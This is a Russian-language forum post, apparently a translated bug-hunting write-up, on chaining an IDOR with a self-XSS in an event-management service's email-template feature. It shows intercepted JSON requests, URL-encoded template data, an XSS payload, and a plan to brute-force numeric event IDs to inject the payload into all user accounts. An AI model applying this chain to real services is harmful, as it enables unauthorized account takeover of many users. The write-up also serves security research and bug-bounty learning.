D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Приветствую достопочтенную публику!
Меня зовут spizdil. В сегодняшней статье спешу поделиться находкой: IDOR в связке с self-XSS, потенциально приводящей к захвату всех аккаунтов сервиса.
Меня зовут spizdil. В сегодняшней статье спешу поделиться находкой: IDOR в связке с self-XSS, потенциально приводящей к захвату всех аккаунтов сервиса.
Ну что ж, приступим:
Я тестировал эту прилку некоторое время, это сервис организации ивентов, где менеджеры могут регистрировать события и управлять регистрантами.
Моей целью было понять как приложение обрабатывает авторизацию и аутентификацию реквестов.
Процесс атаки:
- Создание аккаунта: я создал два аккаунта со случайными данными для каждого.
- Попытка доступа к данным: Я попробовал получить данные аккаунта 2 из аккаунта 1 (атакующего аккаунта)
- Вкладка клиенты: Я сходил на вкладку "Customers" на моем аккаунте, где я мог увидеть всех моих клиентов.
- Перехват и модифицирование запросов:
Код: Скопировать в буфер обмена
Код:
{
"eventID": 23423423
}
на
Код: Скопировать в буфер обмена
Код:
{
"eventID": victimID
}
К сожалению, я получил в лицо 403 Unauthorized response from the server
5. Новая идея
Потому как они юзают числовые ID'шки для доступа к данным, я использовал авторепитер Burp'а для того чтобы сопоставить каждый запрос моего “eventID” с айди таргета - “victimEventID”
6. Тестируем каждую функцию
Я протестил каждую функцию прилки, в то время как запросы модифицировались в бекграунде, но, к сожалению ничего это не принесло
Сдаваться? Мы не умеем!
После шаурмы и нескольких бутылок пива у меня появилось желание вернутся в игру xD
7. Функция email template:
- Я протестировал каждую функцию отдельно и нашел функцию редактирования email template.
- Я обнаружил, что могу добавить новый блок в email template. Я добавил тектовый блок с "this is test123".
-
Код: Скопировать в буфер обмена
Код:
{
"json": "%7b%0a%22%64%61%74%61%22%3a%22%7b%74%65%78%74%3a%74%68%69%73%20%69%73%20%74%65%73%74%31%32%33%7d%22%2c%0a%65%76%65%6e%74%49%44%3a%32%33%34%32%33%0a%7d",
"eventID": 43534
}
Параметр json содержит URL-encoded версию добавленного нами текста.
8. Разшифровка и иньекция:
Я разшифровал результат, и :
Код: Скопировать в буфер обмена
Код:
{
"data": "{text:this is test123}",
"eventID": 23423
}
Делаем укольчик в текстовый параметр:
<img/src=x onload=confirm(1)>
Код: Скопировать в буфер обмена
Код:
{
"data": "{text:<img/src=x onload=confirm(1)>}",
"eventID": 23423
}
Закодируем в Base46
Код: Скопировать в буфер обмена
Код:
{
"json": "%7b%0a%20%20%22%64%61%74%61%22%3a%20%22%7b%74%65%78%74%3a%3c%69%6d%67%2f%73%72%63%3d%78%20%6f%6e%6c%6f%61%64%3d%63%6f%6e%66%69%72%6d%28%31%29%3e%7d%22%2c%0a%20%20%22%65%76%65%6e%74%49%44%22%3a%20%32%33%34%32%33%0a%7d",
"eventID": 43534
}
Обновляем страничку, и вуаля! пэйлоад выполнен:smile10:, но это все еще self-XSS.
9. Финальные шаги до успеха
Модифицируем Event ID:
- Я модифицировал eventID до victimID и получил 200 OK ответ с пустым телом.
- Я быстренько проверил аккаунт цели, чтобы посмотреть модифицировал ли я email template. И че вы думаете? Я выполнился
Так какой же профит спросите вы???
Я отвечу: мы можем легко сбрутить eventID, поскольку он является числовым ID, произвести иньекцию пейлоада в аккаунты юзеров приложения, и стащить их все.
⠀⠀⠀⠀⠀⠀
Cпижжено и переведено simplestop для достопочтенной публики форума XSS.IS